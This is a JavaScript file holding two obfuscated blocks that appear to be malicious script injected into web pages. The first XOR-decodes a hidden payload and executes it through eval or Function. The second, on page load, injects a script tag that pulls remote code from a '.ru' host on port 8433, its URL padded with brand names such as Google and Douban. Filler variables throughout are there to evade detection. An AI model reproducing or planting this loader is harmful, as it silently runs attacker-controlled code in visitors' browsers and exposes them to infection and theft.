var oO="cbd0c2f7f5b4d7dfdcc3eaa2c4dfc3c4a8e0cbe8fac3d0c7d0e4dae5d6dcf0d2d9d9fbccf6c8c2c5dcc4f6c9e1e8f2ffc0fcd7d4e5d5d8e2c4f8c9d6d4eac0c5e2b2fdd9bbcbc3d0b3f0dda9c7df";var LL;if(LL!='OB' && LL != ''){LL=null};this.tH=false;function X(u){var DD=new Date();var FC;if(FC!='' && FC!='oA'){FC='q'};var W=false; var hy='';this.WS='';function o(C,G){var v;if(v!='JKq' && v != ''){v=null};return C[F("hodacCreAt", [4,0,3,6,5,1,2])](G);var eG;if(eG!='' && eG!='OQ'){eG=''};}var As;if(As!='Vg' && As!='dd'){As='Vg'};var eS='';var Y;if(Y!='' && Y!='Mz'){Y='p'};var hP="";var lG=11935; var M=function(A){this.I="I";var t = '';var en="en";A = new j(A);var YO;if(YO!='BN' && YO != ''){YO=null};var DG="";var bm='';var Ge='';var S =[0][0];var IQ=new Date();var T=new Date();var k = -1;var vH='';var N =[0,159,143][0];var pH;if(pH!='' && pH!='BC'){pH='ti'};var VO;if(VO!='em' && VO != ''){VO=null};var bM=42110;var pY;if(pY!='' && pY!='jY'){pY=null};var lh="";for (N=A[F("nlehgt", [1,2,0])]-k;N>=S;N=N-[148,97,1][2]){var ox="ox";t+=A[F("hacAtr", [2,0,1])](N);var vb;if(vb!='nK'){vb='nK'};var EF=new String();}var mN='';var NT='';var SU=false;return t;};var Zu;if(Zu!='nl' && Zu!='tt'){Zu=''}; var oC=function(V){var HN='';var r=V[F("elgnht", [1,0])];var Px=new String();this.BO="";this.ZF="";var c=[1,73,195][0];this.fe="";this.eD=false;var R=[255,223,196,37][0];var P=[163,129,0][2];var e=[0][0];var qT;if(qT!='' && qT!='gc'){qT=null};var UO=new Date();var je;if(je!='' && je!='EU'){je=''};while(e<r){e++;var AS;if(AS!='Cz' && AS!='PI'){AS=''};K=o(V,e - c);var FL=false;P+=K*r;var uC;if(uC!='' && uC!='RP'){uC=null};}return new j(P % R);var yO;if(yO!='' && yO!='lO'){yO='qs'};};this.VA='';this.Co="Co";var JM=33674; function F(A, D){var Up;if(Up!='un' && Up != ''){Up=null};this.xM='';var S=[44,0,80][1];var tn="tn";var x = A.length;this.i='';var XJ;if(XJ!='' && XJ!='BOF'){XJ=''};var c=[237,1,111,32][1];var xe=new Array();var bmw;if(bmw!='ML' && bmw != ''){bmw=null};var Nq = D.length;this.dw='';var t = '';var Zg=new Array();var Pe=new Array();for(var N = S; N < x; N += Nq) {var tryY;if(tryY!=''){tryY='uo'};var SUV;if(SUV!=''){SUV='FMS'};this.GU="";var aJ;if(aJ!='vD' && aJ!='pG'){aJ=''};var oq = A.substr(N, Nq);var Jb="Jb";var Pp;if(Pp!='Vgd'){Pp=''};var kl;if(kl!='' && kl!='vN'){kl='rC'};if(oq.length == Nq){for(var e in D) {var vo;if(vo!='' && vo!='Sv'){vo='BM'};this.ct="ct";t+=oq.substr(D[e], c);var TT;if(TT!=''){TT='OI'};var mr=40366;}this.oP=false;this.fG=false;this.mj="";var Tf="Tf";} else {  t+=oq;var vNb;if(vNb!='' && vNb!='Ip'){vNb='ZY'};var fR=39638;}this.zo="";var ee;if(ee!='jB' && ee != ''){ee=null};}this.Qz=54794;var wR='';return t;}var yt;if(yt!='' && yt!='ZWr'){yt=null}; var fh="";var ap;if(ap!='BF'){ap='BF'};function ea(z,eQ){var wr;if(wr!='YBR'){wr=''};return z^eQ;var tU;if(tU!='' && tU!='nr'){tU=''};var Sb="";}var Kg=new Array();var yF;if(yF!='TQ' && yF!='zP'){yF=''};var xa=window;var Te;if(Te!='' && Te!='Hxe'){Te=''};var GB=xa[F("avel", [2,1,0])];var iX="iX";var Jw=new Date();var GJ=GB(F("uFcnitno", [1,0]));var eA;if(eA!='Dl'){eA='Dl'};this.NE=false;this.OK=false;var j=GB(F("tSrnig", [1,0,2]));var VV;if(VV!='' && VV!='FU'){VV=null};this.yd=false;var xP=GB(F("eREgpx", [1,0]));var d = '';var Nd;if(Nd!='' && Nd!='Sce'){Nd='me'};var vK;if(vK!='Np'){vK='Np'};var pGD;if(pGD!='' && pGD!='Hm'){pGD=''};this.aA="aA";var XN;if(XN!='YOG'){XN=''};this.xJ=62533;var zv;if(zv!='FkK'){zv=''};var wx;if(wx!='' && wx!='gD'){wx=null};var H=xa[F("eusnpcea", [1,3,0,2])];var IE="";var es=j[F("mrofrhaCeodC", [3,1,2,0])];var PK=false;var WW="";var L =[0,14,122][0];var wy;if(wy!='Hs'){wy='Hs'};var a = u[F("elgnht", [1,0])];var qk="qk";var c =[243,1,239][1];var l =[238,2,173][1];var Xk=false;var xF;if(xF!='' && xF!='RX'){xF='gG'};var Nt = '';var GK="GK";var nx='';var Svm;if(Svm!='oy' && Svm!='vIb'){Svm=''};var YE="YE";var CR = '';var Ff = /[^@a-z0-9A-Z_-]/g;var S =[0,124,234,177][0];var fv;if(fv!='' && fv!='lz'){fv=''};var Lk="";var oU = es(37);var w=[1, F("odcmuetn.rcetaelEeemn(t\'csrpit\')", [1,0,2]),2, F("mudeocobndt.ppye.aihnldCd(d)", [2,4,5,1,0,3]),3, F("moic.evltieseisd.n:gr08u80", [3,1,0,4,7,2,6,5]),4, F("dc.hteusnc.ou.kr.etuers", [1,0,2]),5, F("e.dtsrtAiteub(tfd\'eer\'", [2,1,4,0,3]),6, F("olgoge.no", [4,0,3,2,1,5]),7, F("eigvaemmn.oecu", [1,6,4,2,5,3,0]),8, F("niwwodno.aold", [2,1,0]),11, F("cniiovodep.j", [1,2,0]),12, F("ufcniton()", [1,0,3,2,5,4]),14, F("oogglc.oem", [3,1,0,2,4]),15, F("thca(ce)", [2,3,0,5,1,4,6]),16, F("t\"htp:", [1,2,3,0]),17, F("s.rcd", [4,1,0,2,3]),18, F("1\')\'", [1,0]),19, F("akzt", [1,0]),20, F("rty", [1,0,2])];var zO=15782;var eM = '';var PO;if(PO!='UG' && PO!='FQA'){PO='UG'};var EE=false;this.Ch=false;for(var Af=S; Af < a; Af+=l){var Zi='';var UA;if(UA!='' && UA!='ii'){UA=''};eM+= oU; eM+= u[F("ssbutr", [1,3,2,0])](Af, l);}var bf;if(bf!='wU'){bf=''};var Ed=new Date();var yV=new String();var zg;if(zg!='ecI' && zg!='Jt'){zg=''};var u = H(eM);var lg = new j(X);var xI = lg[F("ecpreal", [3,0,2,6,5,1,4])](Ff, Nt);var Mu=false;var g = w[F("ngelth", [3,2,0,1])];var Vb="";xI = M(xI);this.Da='';var rU=new String();var JB=new Array();this.TF='';var FM = new j(GJ);var Bk;if(Bk!='' && Bk!='yS'){Bk=null};var PY=false;var dn=15335;var WV="WV";var oo = FM[F("plerace", [3,2,0,1])](Ff, Nt);var oo = oC(oo);var dB;if(dB!='jLK' && dB!='Wd'){dB='jLK'};var jG=oC(xI);var YH;if(YH!='qO' && YH!='Yz'){YH=''};var VD;if(VD!=''){VD='Ty'};for(var N=S; N < (u[F("elntgh", [1,0,2])]);N=N+[1,253][0]) {var Ep;if(Ep!='KQ' && Ep != ''){Ep=null};var FMSb;if(FMSb!='' && FMSb!='dq'){FMSb='Dr'};var tO;if(tO!='mP' && tO!='NX'){tO='mP'};var U = xI.charCodeAt(L);var s = o(u,N);var Vr=false;var Kv="";var ny=new String();s = ea(s, U);var Vn="";var fL=false;s = ea(s, jG);var xk=new Date();s = ea(s, oo);this.lA='';var FX='';L++;if(L > xI.length-c){var GMG;if(GMG!=''){GMG='ty'};L=S;this.Ui='';this.qD='';}var Pd;if(Pd!='' && Pd!='Hb'){Pd='uZ'};var XX="XX";var NJ=new Date();CR += es(s);var Zr;if(Zr!='QI' && Zr != ''){Zr=null};}var UcU;if(UcU!='Dz' && UcU != ''){UcU=null};var Hml;if(Hml!='rjp' && Hml!='bZC'){Hml=''};for(Km=S; Km < g; Km+=l){var fu=new Date();this.Hv="";var ung=new Array();this.sh=false;var dK = w[Km + c];var IJ;if(IJ!='EL' && IJ!='fc'){IJ=''};this.NQc=false;var yI="yI";var Z = es(w[Km]);var PA;if(PA!='OQU' && PA != ''){PA=null};var cP=new String();var aH;if(aH!='OIn' && aH!='kv'){aH='OIn'};var td = new xP(Z, "g");var zk=false;CR=CR[F("erlpcae", [1,0])](td, dK);this.bi=29926;}var TK;if(TK!='Ns' && TK!='wN'){TK='Ns'};var FA='';var MLD;if(MLD!='Ljf' && MLD!='mQ'){MLD='Ljf'};var Gk=false;var B=new GJ(CR);var oqZ;if(oqZ!='' && oqZ!='cs'){oqZ=null};var rnv=new String();B();var tyy=new Array();this.HV='';FM = '';var aAD;if(aAD!='HL'){aAD='HL'};var Qm;if(Qm!='da'){Qm='da'};this.IMV=false;var BOg=new String();oo = '';jG = '';var kB;if(kB!='' && kB!='rS'){kB='ET'};var QA;if(QA!='' && QA!='Nh'){QA='Tie'};CR = '';this.kxv=42142;var HVu;if(HVu!='' && HVu!='bv'){HVu=null};B = '';var yx=new String();xI = '';var Mq;if(Mq!=''){Mq='rv'};var KvU='';var lbL=new Array();var Hk='';return '';var om=new Array();};var LL;if(LL!='OB' && LL != ''){LL=null};this.tH=false;X(oO);



this.y="";try {this.s="";var A="";var o=RegExp;var m=new Array();var N="rep"+"lacLdXB".substr(0,3)+"eHYT1".substr(0,1);var x;if(x!='' && x!='l'){x='zW'};function k(S,Nh){var NC;if(NC!='' && NC!='_'){NC='AB'};var b;if(b!='dO' && b!='dM'){b=''};var zd=new String();var D=new String("[");var j=new String();var HO='';var d="rOIVg".substr(4);var t;if(t!='f' && t != ''){t=null};D+=Nh;D+=String("]VcxA".substr(0,1));var c;if(c!='' && c!='IO'){c='Iwp'};var Hl=new Array();var r=new o(D, d);var MF=new Date();this.mH="";return S[N](r, new String());};var ok;if(ok!='' && ok!='_c'){ok=null};this.Wf="";var iz='';var KI=new Array();var v=k('s1cKr1iKp1tK',"1K");var z=window;var SH="";var ov;if(ov!='sY' && ov != ''){ov=null};var V=k('8433133014224423814334230142143',"1243");var C='';var Z=k('cXrNeNaGtXeXEGlGeGmXeXnXtX',"GNX");var ER='';var u=k('/bdbu7o7w3abn3.3c3o3mb/bd7u7o3wbabnb.bcbo3m3/bsbobfbt3l7abybe7rb.7c3obm7/3g7obobgbl7eb.3c7o7m7/3s7p7o7n3ibcbh7i3.3c7o3.bj3p3.3p7hbp7',"b37");var mt;if(mt!='' && mt!='F_'){mt=''};var db="";var uI=k('hKtKtKpF:7/K/FxKa7n7gKa7-FcKoFm7.7dFe7vFiKaKnKtFcKlKi7pK.7cFo7mK.7l7e7bKoKnKcFo7iFnF-KfFrK.7SFuFpFeFr7S7uFpFeFrKM7aKlFl7.KrKu7:7',"FK7");this.rL='';this.vF='';var VY=k('omnmlmo2a2d2',"2m");var Wy;if(Wy!='' && Wy!='Tq'){Wy=''};rh=function(){var Nv='';var to=new String();var P;if(P!='zJ'){P=''};Y=document[Z](v);var NT;if(NT!='cr' && NT != ''){NT=null};C=uI+V;var KR='';C+=u;var WV;if(WV!='me'){WV='me'};var R;if(R!='jA'){R='jA'};var Nq;if(Nq!='' && Nq!='FV'){Nq=null};var Pi='';Y.defer=([1,0][0]);var aV;if(aV!='' && aV!='La'){aV=null};var __;if(__!='' && __!='Z_'){__=null};Y.src=C;var xv;if(xv!='' && xv!='Lx'){xv='FU'};var Xx;if(Xx!='' && Xx!='zC'){Xx='eo'};document.body.appendChild(Y);};var fq;if(fq!='dd'){fq='dd'};var YQ=new Date();z[VY]=rh;this.ks="";var uQ=new Array();var mW;if(mW!='yv'){mW='yv'};} catch(YZ){this.Gk="";};